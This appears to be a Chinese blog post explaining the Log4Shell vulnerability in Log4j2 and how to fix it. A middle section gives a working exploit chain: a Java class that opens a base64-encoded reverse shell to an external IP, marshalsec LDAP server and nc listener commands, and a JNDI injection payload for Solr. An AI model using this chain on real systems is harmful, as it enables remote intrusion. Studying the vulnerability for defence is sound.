一、Log4j2存在过哪些漏洞?
Apache Log4j2 近年来披露了多个值得关注的安全漏洞,其中最为著名的当属 2021 年底引发的“Log4Shell”事件。
| 漏洞编号 | 严重等级 (CVSS) | 影响版本范围 | 漏洞类型 | 修复版本 |
|---|---|---|---|---|
| CVE-2021-44228 | 严重 (10.0) | 2.0-beta9 - 2.14.1 | 远程代码执行 | 2.15.0 (初始), 2.16.0+ (完整) |
| CVE-2021-45046 | 严重 (9.0) | 2.0-beta9 - 2.15.0 | 信息泄漏 & 远程代码执行 | 2.16.0 |
| CVE-2021-45105 | 高危 (7.5) | 2.0-alpha1 - 2.16.0 | 拒绝服务 | 2.17.0, 2.12.3 |
| CVE-2021-44832 | 中危 | 2.4.1 - 2.17.0 | 远程代码执行 | 2.17.1 |
| CVE-2017-5645 | 中危 | 2.8.1 及更早版本 | 反序列化漏洞 | 升级至新版本 |
| CVE-2020-9488 | 低危 | 2.0 至 2.13.2 | 证书验证不当 | 2.13.3 |
二、CVE-2021-44228漏洞概述
漏洞名称:Log4j2 JNDI 注入漏洞(俗称 Log4Shell)
漏洞类型:远程代码执行
CVSS 评分:10.0(最高危级)
核心问题:Log4j2 在记录日志时,未对输入内容进行有效过滤,导致攻击者可以通过构造特殊的 JNDI 查找表达式,诱使服务器执行远程恶意代码。
影响范围:Apache Log4j2 2.0-beta9 至 2.14.1 版本。
漏洞原理:
漏洞触发依赖于 Log4j2 的两大功能:
Lookup 功能:允许在日志消息中通过 ${prefix:key} 格式动态解析变量。
JNDI (Java命名和目录接口):允许从远程服务器加载对象。
漏洞触发条件:
应用程序使用受影响版本的Log4j2记录日志
攻击者控制的输入被记录到日志中
应用程序运行在允许加载远程代码的Java环境中
JNDI注入机制:
LDAP/RMI服务器可以返回一个Reference对象
该对象指向攻击者控制的HTTP服务器上的恶意class文件
Java运行时自动加载并实例化该class
三、攻击流程分解
- 输入注入:攻击者向目标应用发送包含恶意 JNDI 表达式的数据(如:
${jndi:ldap://攻击者IP/恶意类}),该数据被应用程序记录到日志。 - 表达式解析:Log4j2 处理该日志时,识别到
${}表达式,并调用JndiLookup组件进行解析。 - 远程资源获取:应用程序向攻击者控制的恶意 LDAP/RMI 服务器发起请求。
- 代码执行:恶意服务器返回一个指向远程恶意 Java Class 文件的地址,应用程序加载并执行该文件中的代码,导致远程代码执行。
整个攻击流程可简要概括为下图:
四、漏洞利用
4.1 利用工具:
marshalsec:用于快速搭建恶意的RMI/LDAP服务器,将请求重定向到托管恶意类的HTTP服务器。
4.2 paylaod讲解
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjguKi4qLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
核心payload是一个Base64编码的命令:
YmFzaCAtaSA+JiAvZGV2L3RjcC84LjguKi4qLzY2NjYgMD4mMQ==
解码后的内容是:
bash -i >& /dev/tcp/8.8.*.*/6666 0>&1
这是一个标准的反向shell命令
java.lang.Runtime
核心作用:允许Java应用程序与运行时环境交互,特别是执行操作系统命令。
在漏洞利用中的具体用途:
通过Runtime.getRuntime().exec()方法执行任意系统命令
在Log4Shell攻击中,用于触发反向shell连接
可以执行任何系统命令:下载文件、修改权限、横向移动等
4.3 利用步骤(以反弹Shell为例):
4.3.1 编写exp恶意代码:
将上面的payload保存为Exploit.java
然后执行
javac Exploit.java
去编译paylaod,然后执行去托管编译后的class文件(默认8000)
python3 -m http.server 8000
4.3.2 在攻击者服务器上使用工具启动LDAP服务。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://8.8.*.*:8000/#Exploit" 9999
4.3.3 在攻击者服务器上使用nc监听指定端口。
nc -lnvp 6666
4.3.4 向目标发送构造好的 Payload
例如:
/solr/admin/cores?action=${jndi:ldap://你的IP:9999/Exploit}
目标服务器中招后,会向你的监听端口反弹一个 Shell。
五、受影响版本与组件
5.1 核心影响范围
直接受影响的Log4j2版本:2.0-beta9 至 2.14.1
5.2 主要受影响组件
| 组件类型 | 典型代表 | 风险程度 |
|---|---|---|
| Apache项目 | Struts2, Solr, Druid, Flink | 高危 |
| Spring生态 | Spring Boot(使用log4j2-starter) | 高危 |
| 微服务框架 | Dubbo, Spring Cloud相关组件 | 中高危 |
| 其他Java应用 | 任何使用受影响Log4j2版本的应用 | 视暴露程度而定 |
5.3 关键影响说明
- 直接依赖风险:项目pom.xml/gradle中直接引用log4j-core且版本在受影响范围内
- 传递依赖风险:通过其他依赖间接引入易受攻击的log4j版本
- 嵌入式风险:框架内置Log4j2且未及时更新版本
六、修复与缓解建议
根本措施:立即升级 Log4j2 到安全版本(2.17.0 或更高版本)。
临时缓解方案(如果无法立即升级):
1. 修改 JVM 参数:启动时添加 -Dlog4j2.formatMsgNoLookups=true。
2. 移除漏洞类:从 log4j-core 的 JAR 包中删除 JndiLookup 类:
bash zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
3. 使用高版本JDK:使用 JDK 11.0.1、8u191、7u201、6u211 或更高版本,这些版本默认禁用了 JNDI 的远程代码加载(但并非绝对安全)。
4. 网络防护:配置防火墙策略或 WAF,限制应用程序服务器不必要的出网访问。
七、总结
Log4j2 漏洞(Log4Shell)因其利用简单、影响范围极广而成为网络安全领域的里程碑式事件。核心在于 Log4j2 允许未经检查的用户输入触发 JNDI 远程查找并加载恶意代码。修复的关键是升级日志组件版本并采取严格的纵深防御措施。
3137

被折叠的 条评论
为什么被折叠?



